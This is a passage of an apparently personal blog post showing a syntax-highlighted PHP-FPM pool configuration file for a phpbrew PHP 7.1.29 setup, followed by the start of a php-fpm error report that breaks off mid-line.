class="line">342</span><br><span class="line">343</span><br><span class="line">344</span><br><span class="line">345</span><br><span class="line">346</span><br><span class="line">347</span><br><span class="line">348</span><br><span class="line">349</span><br><span class="line">350</span><br><span class="line">351</span><br><span class="line">352</span><br><span class="line">353</span><br><span class="line">354</span><br><span class="line">355</span><br><span class="line">356</span><br><span class="line">357</span><br><span class="line">358</span><br><span class="line">359</span><br><span class="line">360</span><br><span class="line">361</span><br><span class="line">362</span><br><span class="line">363</span><br><span class="line">364</span><br><span class="line">365</span><br><span class="line">366</span><br><span class="line">367</span><br><span class="line">368</span><br><span class="line">369</span><br><span class="line">370</span><br><span class="line">371</span><br><span class="line">372</span><br><span class="line">373</span><br><span class="line">374</span><br><span class="line">375</span><br><span class="line">376</span><br><span class="line">377</span><br><span class="line">378</span><br><span class="line">379</span><br><span class="line">380</span><br><span class="line">381</span><br><span class="line">382</span><br><span class="line">383</span><br><span class="line">384</span><br><span class="line">385</span><br><span class="line">386</span><br><span class="line">387</span><br><span class="line">388</span><br><span class="line">389</span><br><span class="line">390</span><br><span class="line">391</span><br><span class="line">392</span><br><span class="line">393</span><br><span class="line">394</span><br><span class="line">395</span><br><span class="line">396</span><br><span class="line">397</span><br><span class="line">398</span><br><span class="line">399</span><br><span class="line">400</span><br><span class="line">401</span><br><span class="line">402</span><br><span class="line">403</span><br><span class="line">404</span><br><span class="line">405</span><br><span class="line">406</span><br><span class="line">407</span><br><span class="line">408</span><br><span class="line">409</span><br><span class="line">410</span><br><span class="line">411</span><br><span class="line">412</span><br><span class="line">413</span><br><span class="line">414</span><br><span class="line">415</span><br><span class="line">416</span><br><span class="line">417</span><br><span class="line">418</span><br><span class="line">419</span><br><span class="line">420</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">; Start a new pool named 'www'.</span></span><br><span class="line"><span class="comment">; the variable $pool can be used in any directive and will be replaced by the</span></span><br><span class="line"><span class="comment">; pool name ('www' here)</span></span><br><span class="line"><span class="section">[www]</span></span><br><span class="line"></span><br><span class="line"><span class="comment">; Per pool prefix</span></span><br><span class="line"><span class="comment">; It only applies on the following directives:</span></span><br><span class="line"><span class="comment">; - 'access.log'</span></span><br><span class="line"><span class="comment">; - 'slowlog'</span></span><br><span class="line"><span class="comment">; - 'listen' (unixsocket)</span></span><br><span class="line"><span class="comment">; - 'chroot'</span></span><br><span class="line"><span class="comment">; - 'chdir'</span></span><br><span class="line"><span class="comment">; - 'php_values'</span></span><br><span class="line"><span class="comment">; - 'php_admin_values'</span></span><br><span class="line"><span class="comment">; When not set, the global prefix (or /Users/xianyu123/.phpbrew/php/php-7.1.29) applies instead.</span></span><br><span class="line"><span class="comment">; <span class="doctag">Note:</span> This directive can also be relative to the global prefix.</span></span><br><span class="line"><span class="comment">; Default Value: none</span></span><br><span class="line"><span class="comment">;prefix = /path/to/pools/$pool</span></span><br><span class="line"></span><br><span class="line"><span class="comment">; Unix user/group of processes</span></span><br><span class="line"><span class="comment">; <span class="doctag">Note:</span> The user is mandatory. If the group is not set, the default user's group</span></span><br><span class="line"><span class="comment">; will be used.</span></span><br><span class="line"><span class="comment">;user = nobody</span></span><br><span class="line"><span class="comment">;group = nobody</span></span><br><span class="line"></span><br><span class="line"><span class="comment">; The address on which to accept FastCGI requests.</span></span><br><span class="line"><span class="comment">; Valid syntaxes are:</span></span><br><span class="line"><span class="comment">; 'ip.add.re.ss:port' - to listen on a TCP socket to a specific IPv4 address on</span></span><br><span class="line"><span class="comment">; a specific port;</span></span><br><span class="line"><span class="comment">; '[ip:6:addr:ess]:port' - to listen on a TCP socket to a specific IPv6 address on</span></span><br><span class="line"><span class="comment">; a specific port;</span></span><br><span class="line"><span class="comment">; 'port' - to listen on a TCP socket to all addresses</span></span><br><span class="line"><span class="comment">; (IPv6 and IPv4-mapped) on a specific port;</span></span><br><span class="line"><span class="comment">; '/path/to/unix/socket' - to listen on a unix socket.</span></span><br><span class="line"><span class="comment">; <span class="doctag">Note:</span> This value is mandatory.</span></span><br><span class="line"><span class="attr">listen</span> = /Users/xianyu123/.phpbrew/php/php-<span class="number">7.1</span>.<span class="number">29</span>/var/run/php-fpm.sock</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">; Set listen(2) backlog.</span></span><br><span class="line"><span class="comment">; Default Value: 511 (-1 on FreeBSD and OpenBSD)</span></span><br><span class="line"><span class="comment">;listen.backlog = 511</span></span><br><span class="line"></span><br><span class="line"><span class="comment">; Set permissions for unix socket, if one is used. In Linux, read/write</span></span><br><span class="line"><span class="comment">; permissions must be set in order to allow connections from a web server. Many</span></span><br><span class="line"><span class="comment">; BSD-derived systems allow connections regardless of permissions.</span></span><br><span class="line"><span class="comment">; Default Values: user and group are set as the running user</span></span><br><span class="line"><span class="comment">; mode is set to 0660</span></span><br><span class="line">listen.owner = nobody</span><br><span class="line">listen.group = nobody</span><br><span class="line">listen.mode = 0660</span><br><span class="line"><span class="comment">; When POSIX Access Control Lists are supported you can set them using</span></span><br><span class="line"><span class="comment">; these options, value is a comma separated list of user/group names.</span></span><br><span class="line"><span class="comment">; When set, listen.owner and listen.group are ignored</span></span><br><span class="line"><span class="comment">;listen.acl_users =</span></span><br><span class="line"><span class="comment">;listen.acl_groups =</span></span><br><span class="line"></span><br><span class="line"><span class="comment">; List of addresses (IPv4/IPv6) of FastCGI clients which are allowed to connect.</span></span><br><span class="line"><span class="comment">; Equivalent to the FCGI_WEB_SERVER_ADDRS environment variable in the original</span></span><br><span class="line"><span class="comment">; PHP FCGI (5.2.2+). Makes sense only with a tcp listening socket. Each address</span></span><br><span class="line"><span class="comment">; must be separated by a comma. If this value is left blank, connections will be</span></span><br><span class="line"><span class="comment">; accepted from any ip address.</span></span><br><span class="line"><span class="comment">; Default Value: any</span></span><br><span class="line"><span class="comment">;listen.allowed_clients = 127.0.0.1</span></span><br><span class="line"></span><br><span class="line"><span class="comment">; Specify the nice(2) priority to apply to the pool processes (only if set)</span></span><br><span class="line"><span class="comment">; The value can vary from -19 (highest priority) to 20 (lower priority)</span></span><br><span class="line"><span class="comment">; <span class="doctag">Note:</span> - It will only work if the FPM master process is launched as root</span></span><br><span class="line"><span class="comment">; - The pool processes will inherit the master process priority</span></span><br><span class="line"><span class="comment">; unless it specified otherwise</span></span><br><span class="line"><span class="comment">; Default Value: no set</span></span><br><span class="line"><span class="comment">; process.priority = -19</span></span><br><span class="line"></span><br><span class="line"><span class="comment">; Set the process dumpable flag (PR_SET_DUMPABLE prctl) even if the process user</span></span><br><span class="line"><span class="comment">; or group is differrent than the master process user. It allows to create process</span></span><br><span class="line"><span class="comment">; core dump and ptrace the process for the pool user.</span></span><br><span class="line"><span class="comment">; Default Value: no</span></span><br><span class="line"><span class="comment">; process.dumpable = yes</span></span><br><span class="line"></span><br><span class="line"><span class="comment">; Choose how the process manager will control the number of child processes.</span></span><br><span class="line"><span class="comment">; Possible Values:</span></span><br><span class="line"><span class="comment">; static - a fixed number (pm.max_children) of child processes;</span></span><br><span class="line"><span class="comment">; dynamic - the number of child processes are set dynamically based on the</span></span><br><span class="line"><span class="comment">; following directives. With this process management, there will be</span></span><br><span class="line"><span class="comment">; always at least 1 children.</span></span><br><span class="line"><span class="comment">; pm.max_children - the maximum number of children that can</span></span><br><span class="line"><span class="comment">; be alive at the same time.</span></span><br><span class="line"><span class="comment">; pm.start_servers - the number of children created on startup.</span></span><br><span class="line"><span class="comment">; pm.min_spare_servers - the minimum number of children in 'idle'</span></span><br><span class="line"><span class="comment">; state (waiting to process). If the number</span></span><br><span class="line"><span class="comment">; of 'idle' processes is less than this</span></span><br><span class="line"><span class="comment">; number then some children will be created.</span></span><br><span class="line"><span class="comment">; pm.max_spare_servers - the maximum number of children in 'idle'</span></span><br><span class="line"><span class="comment">; state (waiting to process). If the number</span></span><br><span class="line"><span class="comment">; of 'idle' processes is greater than this</span></span><br><span class="line"><span class="comment">; number then some children will be killed.</span></span><br><span class="line"><span class="comment">; ondemand - no children are created at startup. Children will be forked when</span></span><br><span class="line"><span class="comment">; new requests will connect. The following parameter are used:</span></span><br><span class="line"><span class="comment">; pm.max_children - the maximum number of children that</span></span><br><span class="line"><span class="comment">; can be alive at the same time.</span></span><br><span class="line"><span class="comment">; pm.process_idle_timeout - The number of seconds after which</span></span><br><span class="line"><span class="comment">; an idle process will be killed.</span></span><br><span class="line"><span class="comment">; <span class="doctag">Note:</span> This value is mandatory.</span></span><br><span class="line"><span class="attr">pm</span> = dynamic</span><br><span class="line"></span><br><span class="line"><span class="comment">; The number of child processes to be created when pm is set to 'static' and the</span></span><br><span class="line"><span class="comment">; maximum number of child processes when pm is set to 'dynamic' or 'ondemand'.</span></span><br><span class="line"><span class="comment">; This value sets the limit on the number of simultaneous requests that will be</span></span><br><span class="line"><span class="comment">; served. Equivalent to the ApacheMaxClients directive with mpm_prefork.</span></span><br><span class="line"><span class="comment">; Equivalent to the PHP_FCGI_CHILDREN environment variable in the original PHP</span></span><br><span class="line"><span class="comment">; CGI. The below defaults are based on a server without much resources. Don't</span></span><br><span class="line"><span class="comment">; forget to tweak pm.* to fit your needs.</span></span><br><span class="line"><span class="comment">; <span class="doctag">Note:</span> Used when pm is set to 'static', 'dynamic' or 'ondemand'</span></span><br><span class="line"><span class="comment">; <span class="doctag">Note:</span> This value is mandatory.</span></span><br><span class="line">pm.max_children = 5</span><br><span class="line"></span><br><span class="line"><span class="comment">; The number of child processes created on startup.</span></span><br><span class="line"><span class="comment">; <span class="doctag">Note:</span> Used only when pm is set to 'dynamic'</span></span><br><span class="line"><span class="comment">; Default Value: min_spare_servers + (max_spare_servers - min_spare_servers) / 2</span></span><br><span class="line">pm.start_servers = 2</span><br><span class="line"></span><br><span class="line"><span class="comment">; The desired minimum number of idle server processes.</span></span><br><span class="line"><span class="comment">; <span class="doctag">Note:</span> Used only when pm is set to 'dynamic'</span></span><br><span class="line"><span class="comment">; <span class="doctag">Note:</span> Mandatory when pm is set to 'dynamic'</span></span><br><span class="line">pm.min_spare_servers = 1</span><br><span class="line"></span><br><span class="line"><span class="comment">; The desired maximum number of idle server processes.</span></span><br><span class="line"><span class="comment">; <span class="doctag">Note:</span> Used only when pm is set to 'dynamic'</span></span><br><span class="line"><span class="comment">; <span class="doctag">Note:</span> Mandatory when pm is set to 'dynamic'</span></span><br><span class="line">pm.max_spare_servers = 3</span><br><span class="line"></span><br><span class="line"><span class="comment">; The number of seconds after which an idle process will be killed.</span></span><br><span class="line"><span class="comment">; <span class="doctag">Note:</span> Used only when pm is set to 'ondemand'</span></span><br><span class="line"><span class="comment">; Default Value: 10s</span></span><br><span class="line"><span class="comment">;pm.process_idle_timeout = 10s;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">; The number of requests each child process should execute before respawning.</span></span><br><span class="line"><span class="comment">; This can be useful to work around memory leaks in 3rd party libraries. For</span></span><br><span class="line"><span class="comment">; endless request processing specify '0'. Equivalent to PHP_FCGI_MAX_REQUESTS.</span></span><br><span class="line"><span class="comment">; Default Value: 0</span></span><br><span class="line"><span class="comment">;pm.max_requests = 500</span></span><br><span class="line"></span><br><span class="line"><span class="comment">; The URI to view the FPM status page. If this value is not set, no URI will be</span></span><br><span class="line"><span class="comment">; recognized as a status page. It shows the following informations:</span></span><br><span class="line"><span class="comment">; pool - the name of the pool;</span></span><br><span class="line"><span class="comment">; process manager - static, dynamic or ondemand;</span></span><br><span class="line"><span class="comment">; start time - the date and time FPM has started;</span></span><br><span class="line"><span class="comment">; start since - number of seconds since FPM has started;</span></span><br><span class="line"><span class="comment">; accepted conn - the number of request accepted by the pool;</span></span><br><span class="line"><span class="comment">; listen queue - the number of request in the queue of pending</span></span><br><span class="line"><span class="comment">; connections (see backlog in listen(2));</span></span><br><span class="line"><span class="comment">; max listen queue - the maximum number of requests in the queue</span></span><br><span class="line"><span class="comment">; of pending connections since FPM has started;</span></span><br><span class="line"><span class="comment">; listen queue len - the size of the socket queue of pending connections;</span></span><br><span class="line"><span class="comment">; idle processes - the number of idle processes;</span></span><br><span class="line"><span class="comment">; active processes - the number of active processes;</span></span><br><span class="line"><span class="comment">; total processes - the number of idle + active processes;</span></span><br><span class="line"><span class="comment">; max active processes - the maximum number of active processes since FPM</span></span><br><span class="line"><span class="comment">; has started;</span></span><br><span class="line"><span class="comment">; max children reached - number of times, the process limit has been reached,</span></span><br><span class="line"><span class="comment">; when pm tries to start more children (works only for</span></span><br><span class="line"><span class="comment">; pm 'dynamic' and 'ondemand');</span></span><br><span class="line"><span class="comment">; Value are updated in real time.</span></span><br><span class="line"><span class="comment">; Example output:</span></span><br><span class="line"><span class="comment">; pool: www</span></span><br><span class="line"><span class="comment">; process manager: static</span></span><br><span class="line"><span class="comment">; start time: 01/Jul/2011:17:53:49 +0200</span></span><br><span class="line"><span class="comment">; start since: 62636</span></span><br><span class="line"><span class="comment">; accepted conn: 190460</span></span><br><span class="line"><span class="comment">; listen queue: 0</span></span><br><span class="line"><span class="comment">; max listen queue: 1</span></span><br><span class="line"><span class="comment">; listen queue len: 42</span></span><br><span class="line"><span class="comment">; idle processes: 4</span></span><br><span class="line"><span class="comment">; active processes: 11</span></span><br><span class="line"><span class="comment">; total processes: 15</span></span><br><span class="line"><span class="comment">; max active processes: 12</span></span><br><span class="line"><span class="comment">; max children reached: 0</span></span><br><span class="line"><span class="comment">;</span></span><br><span class="line"><span class="comment">; By default the status page output is formatted as text/plain. Passing either</span></span><br><span class="line"><span class="comment">; 'html', 'xml' or 'json' in the query string will return the corresponding</span></span><br><span class="line"><span class="comment">; output syntax. Example:</span></span><br><span class="line"><span class="comment">; http://www.foo.bar/status</span></span><br><span class="line"><span class="comment">; http://www.foo.bar/status?json</span></span><br><span class="line"><span class="comment">; http://www.foo.bar/status?html</span></span><br><span class="line"><span class="comment">; http://www.foo.bar/status?xml</span></span><br><span class="line"><span class="comment">;</span></span><br><span class="line"><span class="comment">; By default the status page only outputs short status. Passing 'full' in the</span></span><br><span class="line"><span class="comment">; query string will also return status for each pool process.</span></span><br><span class="line"><span class="comment">; Example:</span></span><br><span class="line"><span class="comment">; http://www.foo.bar/status?full</span></span><br><span class="line"><span class="comment">; http://www.foo.bar/status?json&full</span></span><br><span class="line"><span class="comment">; http://www.foo.bar/status?html&full</span></span><br><span class="line"><span class="comment">; http://www.foo.bar/status?xml&full</span></span><br><span class="line"><span class="comment">; The Full status returns for each process:</span></span><br><span class="line"><span class="comment">; pid - the PID of the process;</span></span><br><span class="line"><span class="comment">; state - the state of the process (Idle, Running, ...);</span></span><br><span class="line"><span class="comment">; start time - the date and time the process has started;</span></span><br><span class="line"><span class="comment">; start since - the number of seconds since the process has started;</span></span><br><span class="line"><span class="comment">; requests - the number of requests the process has served;</span></span><br><span class="line"><span class="comment">; request duration - the duration in µs of the requests;</span></span><br><span class="line"><span class="comment">; request method - the request method (GET, POST, ...);</span></span><br><span class="line"><span class="comment">; request URI - the request URI with the query string;</span></span><br><span class="line"><span class="comment">; content length - the content length of the request (only with POST);</span></span><br><span class="line"><span class="comment">; user - the user (PHP_AUTH_USER) (or '-' if not set);</span></span><br><span class="line"><span class="comment">; script - the main script called (or '-' if not set);</span></span><br><span class="line"><span class="comment">; last request cpu - the %cpu the last request consumed</span></span><br><span class="line"><span class="comment">; it's always 0 if the process is not in Idle state</span></span><br><span class="line"><span class="comment">; because CPU calculation is done when the request</span></span><br><span class="line"><span class="comment">; processing has terminated;</span></span><br><span class="line"><span class="comment">; last request memory - the max amount of memory the last request consumed</span></span><br><span class="line"><span class="comment">; it's always 0 if the process is not in Idle state</span></span><br><span class="line"><span class="comment">; because memory calculation is done when the request</span></span><br><span class="line"><span class="comment">; processing has terminated;</span></span><br><span class="line"><span class="comment">; If the process is in Idle state, then informations are related to the</span></span><br><span class="line"><span class="comment">; last request the process has served. Otherwise informations are related to</span></span><br><span class="line"><span class="comment">; the current request being served.</span></span><br><span class="line"><span class="comment">; Example output:</span></span><br><span class="line"><span class="comment">; ************************</span></span><br><span class="line"><span class="comment">; pid: 31330</span></span><br><span class="line"><span class="comment">; state: Running</span></span><br><span class="line"><span class="comment">; start time: 01/Jul/2011:17:53:49 +0200</span></span><br><span class="line"><span class="comment">; start since: 63087</span></span><br><span class="line"><span class="comment">; requests: 12808</span></span><br><span class="line"><span class="comment">; request duration: 1250261</span></span><br><span class="line"><span class="comment">; request method: GET</span></span><br><span class="line"><span class="comment">; request URI: /test_mem.php?N=10000</span></span><br><span class="line"><span class="comment">; content length: 0</span></span><br><span class="line"><span class="comment">; user: -</span></span><br><span class="line"><span class="comment">; script: /home/fat/web/docs/php/test_mem.php</span></span><br><span class="line"><span class="comment">; last request cpu: 0.00</span></span><br><span class="line"><span class="comment">; last request memory: 0</span></span><br><span class="line"><span class="comment">;</span></span><br><span class="line"><span class="comment">; <span class="doctag">Note:</span> There is a real-time FPM status monitoring sample web page available</span></span><br><span class="line"><span class="comment">; It's available in: /Users/xianyu123/.phpbrew/php/php-7.1.29/share/php/fpm/status.html</span></span><br><span class="line"><span class="comment">;</span></span><br><span class="line"><span class="comment">; <span class="doctag">Note:</span> The value must start with a leading slash (/). The value can be</span></span><br><span class="line"><span class="comment">; anything, but it may not be a good idea to use the .php extension or it</span></span><br><span class="line"><span class="comment">; may conflict with a real PHP file.</span></span><br><span class="line"><span class="comment">; Default Value: not set</span></span><br><span class="line"><span class="comment">;pm.status_path = /status</span></span><br><span class="line"></span><br><span class="line"><span class="comment">; The ping URI to call the monitoring page of FPM. If this value is not set, no</span></span><br><span class="line"><span class="comment">; URI will be recognized as a ping page. This could be used to test from outside</span></span><br><span class="line"><span class="comment">; that FPM is alive and responding, or to</span></span><br><span class="line"><span class="comment">; - create a graph of FPM availability (rrd or such);</span></span><br><span class="line"><span class="comment">; - remove a server from a group if it is not responding (load balancing);</span></span><br><span class="line"><span class="comment">; - trigger alerts for the operating team (24/7).</span></span><br><span class="line"><span class="comment">; <span class="doctag">Note:</span> The value must start with a leading slash (/). The value can be</span></span><br><span class="line"><span class="comment">; anything, but it may not be a good idea to use the .php extension or it</span></span><br><span class="line"><span class="comment">; may conflict with a real PHP file.</span></span><br><span class="line"><span class="comment">; Default Value: not set</span></span><br><span class="line"><span class="comment">;ping.path = /ping</span></span><br><span class="line"></span><br><span class="line"><span class="comment">; This directive may be used to customize the response of a ping request. The</span></span><br><span class="line"><span class="comment">; response is formatted as text/plain with a 200 response code.</span></span><br><span class="line"><span class="comment">; Default Value: pong</span></span><br><span class="line"><span class="comment">;ping.response = pong</span></span><br><span class="line"></span><br><span class="line"><span class="comment">; The access log file</span></span><br><span class="line"><span class="comment">; Default: not set</span></span><br><span class="line"><span class="comment">;access.log = log/$pool.access.log</span></span><br><span class="line"></span><br><span class="line"><span class="comment">; The access log format.</span></span><br><span class="line"><span class="comment">; The following syntax is allowed</span></span><br><span class="line"><span class="comment">; %%: the '%' character</span></span><br><span class="line"><span class="comment">; %C: %CPU used by the request</span></span><br><span class="line"><span class="comment">; it can accept the following format:</span></span><br><span class="line"><span class="comment">; - %{user}C for user CPU only</span></span><br><span class="line"><span class="comment">; - %{system}C for system CPU only</span></span><br><span class="line"><span class="comment">; - %{total}C for user + system CPU (default)</span></span><br><span class="line"><span class="comment">; %d: time taken to serve the request</span></span><br><span class="line"><span class="comment">; it can accept the following format:</span></span><br><span class="line"><span class="comment">; - %{seconds}d (default)</span></span><br><span class="line"><span class="comment">; - %{miliseconds}d</span></span><br><span class="line"><span class="comment">; - %{mili}d</span></span><br><span class="line"><span class="comment">; - %{microseconds}d</span></span><br><span class="line"><span class="comment">; - %{micro}d</span></span><br><span class="line"><span class="comment">; %e: an environment variable (same as $_ENV or $_SERVER)</span></span><br><span class="line"><span class="comment">; it must be associated with embraces to specify the name of the env</span></span><br><span class="line"><span class="comment">; variable. Some exemples:</span></span><br><span class="line"><span class="comment">; - server specifics like: %{REQUEST_METHOD}e or %{SERVER_PROTOCOL}e</span></span><br><span class="line"><span class="comment">; - HTTP headers like: %{HTTP_HOST}e or %{HTTP_USER_AGENT}e</span></span><br><span class="line"><span class="comment">; %f: script filename</span></span><br><span class="line"><span class="comment">; %l: content-length of the request (for POST request only)</span></span><br><span class="line"><span class="comment">; %m: request method</span></span><br><span class="line"><span class="comment">; %M: peak of memory allocated by PHP</span></span><br><span class="line"><span class="comment">; it can accept the following format:</span></span><br><span class="line"><span class="comment">; - %{bytes}M (default)</span></span><br><span class="line"><span class="comment">; - %{kilobytes}M</span></span><br><span class="line"><span class="comment">; - %{kilo}M</span></span><br><span class="line"><span class="comment">; - %{megabytes}M</span></span><br><span class="line"><span class="comment">; - %{mega}M</span></span><br><span class="line"><span class="comment">; %n: pool name</span></span><br><span class="line"><span class="comment">; %o: output header</span></span><br><span class="line"><span class="comment">; it must be associated with embraces to specify the name of the header:</span></span><br><span class="line"><span class="comment">; - %{Content-Type}o</span></span><br><span class="line"><span class="comment">; - %{X-Powered-By}o</span></span><br><span class="line"><span class="comment">; - %{Transfert-Encoding}o</span></span><br><span class="line"><span class="comment">; - ....</span></span><br><span class="line"><span class="comment">; %p: PID of the child that serviced the request</span></span><br><span class="line"><span class="comment">; %P: PID of the parent of the child that serviced the request</span></span><br><span class="line"><span class="comment">; %q: the query string</span></span><br><span class="line"><span class="comment">; %Q: the '?' character if query string exists</span></span><br><span class="line"><span class="comment">; %r: the request URI (without the query string, see %q and %Q)</span></span><br><span class="line"><span class="comment">; %R: remote IP address</span></span><br><span class="line"><span class="comment">; %s: status (response code)</span></span><br><span class="line"><span class="comment">; %t: server time the request was received</span></span><br><span class="line"><span class="comment">; it can accept a strftime(3) format:</span></span><br><span class="line"><span class="comment">; %d/%b/%Y:%H:%M:%S %z (default)</span></span><br><span class="line"><span class="comment">; The strftime(3) format must be encapsuled in a %{<strftime_format>}t tag</span></span><br><span class="line"><span class="comment">; e.g. for a ISO8601 formatted timestring, use: %{%Y-%m-%dT%H:%M:%S%z}t</span></span><br><span class="line"><span class="comment">; %T: time the log has been written (the request has finished)</span></span><br><span class="line"><span class="comment">; it can accept a strftime(3) format:</span></span><br><span class="line"><span class="comment">; %d/%b/%Y:%H:%M:%S %z (default)</span></span><br><span class="line"><span class="comment">; The strftime(3) format must be encapsuled in a %{<strftime_format>}t tag</span></span><br><span class="line"><span class="comment">; e.g. for a ISO8601 formatted timestring, use: %{%Y-%m-%dT%H:%M:%S%z}t</span></span><br><span class="line"><span class="comment">; %u: remote user</span></span><br><span class="line"><span class="comment">;</span></span><br><span class="line"><span class="comment">; Default: "%R - %u %t \"%m %r\" %s"</span></span><br><span class="line"><span class="comment">;access.format = "%R - %u %t \"%m %r%Q%q\" %s %f %{mili}d %{kilo}M %C%%"</span></span><br><span class="line"></span><br><span class="line"><span class="comment">; The log file for slow requests</span></span><br><span class="line"><span class="comment">; Default Value: not set</span></span><br><span class="line"><span class="comment">; <span class="doctag">Note:</span> slowlog is mandatory if request_slowlog_timeout is set</span></span><br><span class="line"><span class="comment">;slowlog = log/$pool.log.slow</span></span><br><span class="line"></span><br><span class="line"><span class="comment">; The timeout for serving a single request after which a PHP backtrace will be</span></span><br><span class="line"><span class="comment">; dumped to the 'slowlog' file. A value of '0s' means 'off'.</span></span><br><span class="line"><span class="comment">; Available units: s(econds)(default), m(inutes), h(ours), or d(ays)</span></span><br><span class="line"><span class="comment">; Default Value: 0</span></span><br><span class="line"><span class="comment">;request_slowlog_timeout = 0</span></span><br><span class="line"></span><br><span class="line"><span class="comment">; The timeout for serving a single request after which the worker process will</span></span><br><span class="line"><span class="comment">; be killed. This option should be used when the 'max_execution_time' ini option</span></span><br><span class="line"><span class="comment">; does not stop script execution for some reason. A value of '0' means 'off'.</span></span><br><span class="line"><span class="comment">; Available units: s(econds)(default), m(inutes), h(ours), or d(ays)</span></span><br><span class="line"><span class="comment">; Default Value: 0</span></span><br><span class="line"><span class="comment">;request_terminate_timeout = 0</span></span><br><span class="line"></span><br><span class="line"><span class="comment">; Set open file descriptor rlimit.</span></span><br><span class="line"><span class="comment">; Default Value: system defined value</span></span><br><span class="line"><span class="comment">;rlimit_files = 1024</span></span><br><span class="line"></span><br><span class="line"><span class="comment">; Set max core size rlimit.</span></span><br><span class="line"><span class="comment">; Possible Values: 'unlimited' or an integer greater or equal to 0</span></span><br><span class="line"><span class="comment">; Default Value: system defined value</span></span><br><span class="line"><span class="comment">;rlimit_core = 0</span></span><br><span class="line"></span><br><span class="line"><span class="comment">; Chroot to this directory at the start. This value must be defined as an</span></span><br><span class="line"><span class="comment">; absolute path. When this value is not set, chroot is not used.</span></span><br><span class="line"><span class="comment">; <span class="doctag">Note:</span> you can prefix with '$prefix' to chroot to the pool prefix or one</span></span><br><span class="line"><span class="comment">; of its subdirectories. If the pool prefix is not set, the global prefix</span></span><br><span class="line"><span class="comment">; will be used instead.</span></span><br><span class="line"><span class="comment">; <span class="doctag">Note:</span> chrooting is a great security feature and should be used whenever</span></span><br><span class="line"><span class="comment">; possible. However, all PHP paths will be relative to the chroot</span></span><br><span class="line"><span class="comment">; (error_log, sessions.save_path, ...).</span></span><br><span class="line"><span class="comment">; Default Value: not set</span></span><br><span class="line"><span class="comment">;chroot =</span></span><br><span class="line"></span><br><span class="line"><span class="comment">; Chdir to this directory at the start.</span></span><br><span class="line"><span class="comment">; <span class="doctag">Note:</span> relative path can be used.</span></span><br><span class="line"><span class="comment">; Default Value: current directory or / when chroot</span></span><br><span class="line"><span class="comment">;chdir = /var/www</span></span><br><span class="line"></span><br><span class="line"><span class="comment">; Redirect worker stdout and stderr into main error log. If not set, stdout and</span></span><br><span class="line"><span class="comment">; stderr will be redirected to /dev/null according to FastCGI specs.</span></span><br><span class="line"><span class="comment">; <span class="doctag">Note:</span> on highloaded environement, this can cause some delay in the page</span></span><br><span class="line"><span class="comment">; process time (several ms).</span></span><br><span class="line"><span class="comment">; Default Value: no</span></span><br><span class="line"><span class="comment">;catch_workers_output = yes</span></span><br><span class="line"></span><br><span class="line"><span class="comment">; Clear environment in FPM workers</span></span><br><span class="line"><span class="comment">; Prevents arbitrary environment variables from reaching FPM worker processes</span></span><br><span class="line"><span class="comment">; by clearing the environment in workers before env vars specified in this</span></span><br><span class="line"><span class="comment">; pool configuration are added.</span></span><br><span class="line"><span class="comment">; Setting to "no" will make all environment variables available to PHP code</span></span><br><span class="line"><span class="comment">; via getenv(), $_ENV and $_SERVER.</span></span><br><span class="line"><span class="comment">; Default Value: yes</span></span><br><span class="line"><span class="comment">;clear_env = no</span></span><br><span class="line"></span><br><span class="line"><span class="comment">; Limits the extensions of the main script FPM will allow to parse. This can</span></span><br><span class="line"><span class="comment">; prevent configuration mistakes on the web server side. You should only limit</span></span><br><span class="line"><span class="comment">; FPM to .php extensions to prevent malicious users to use other extensions to</span></span><br><span class="line"><span class="comment">; execute php code.</span></span><br><span class="line"><span class="comment">; <span class="doctag">Note:</span> set an empty value to allow all extensions.</span></span><br><span class="line"><span class="comment">; Default Value: .php</span></span><br><span class="line"><span class="comment">;security.limit_extensions = .php .php3 .php4 .php5 .php7</span></span><br><span class="line"></span><br><span class="line"><span class="comment">; Pass environment variables like LD_LIBRARY_PATH. All $VARIABLEs are taken from</span></span><br><span class="line"><span class="comment">; the current environment.</span></span><br><span class="line"><span class="comment">; Default Value: clean env</span></span><br><span class="line"><span class="comment">;env[HOSTNAME] = $HOSTNAME</span></span><br><span class="line"><span class="comment">;env[PATH] = /usr/local/bin:/usr/bin:/bin</span></span><br><span class="line"><span class="comment">;env[TMP] = /tmp</span></span><br><span class="line"><span class="comment">;env[TMPDIR] = /tmp</span></span><br><span class="line"><span class="comment">;env[TEMP] = /tmp</span></span><br><span class="line"></span><br><span class="line"><span class="comment">; Additional php.ini defines, specific to this pool of workers. These settings</span></span><br><span class="line"><span class="comment">; overwrite the values previously defined in the php.ini. The directives are the</span></span><br><span class="line"><span class="comment">; same as the PHP SAPI:</span></span><br><span class="line"><span class="comment">; php_value/php_flag - you can set classic ini defines which can</span></span><br><span class="line"><span class="comment">; be overwritten from PHP call 'ini_set'.</span></span><br><span class="line"><span class="comment">; php_admin_value/php_admin_flag - these directives won't be overwritten by</span></span><br><span class="line"><span class="comment">; PHP call 'ini_set'</span></span><br><span class="line"><span class="comment">; For php_*flag, valid values are on, off, 1, 0, true, false, yes or no.</span></span><br><span class="line"></span><br><span class="line"><span class="comment">; Defining 'extension' will load the corresponding shared extension from</span></span><br><span class="line"><span class="comment">; extension_dir. Defining 'disable_functions' or 'disable_classes' will not</span></span><br><span class="line"><span class="comment">; overwrite previously defined php.ini values, but will append the new value</span></span><br><span class="line"><span class="comment">; instead.</span></span><br><span class="line"></span><br><span class="line"><span class="comment">; <span class="doctag">Note:</span> path INI options can be relative and will be expanded with the prefix</span></span><br><span class="line"><span class="comment">; (pool, global or /Users/xianyu123/.phpbrew/php/php-7.1.29)</span></span><br><span class="line"></span><br><span class="line"><span class="comment">; Default Value: nothing is defined by default except the values in php.ini and</span></span><br><span class="line"><span class="comment">; specified at startup with the -d argument</span></span><br><span class="line"><span class="comment">;php_admin_value[sendmail_path] = /usr/sbin/sendmail -t -i -f [email protected]</span></span><br><span class="line"><span class="comment">;php_flag[display_errors] = off</span></span><br><span class="line"><span class="comment">;php_admin_value[error_log] = /var/log/fpm-php.www.log</span></span><br><span class="line"><span class="comment">;php_admin_flag[log_errors] = on</span></span><br><span class="line"><span class="comment">;php_admin_value[memory_limit] = 32M</span></span><br></pre></td></tr></table></figure><p>php-fpm的报错:</p><p><img src="http://images.xianyu123.club/20210906212524.png" alt="image-20210906212524082"></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">[06-Sep-2021 19:52:53] 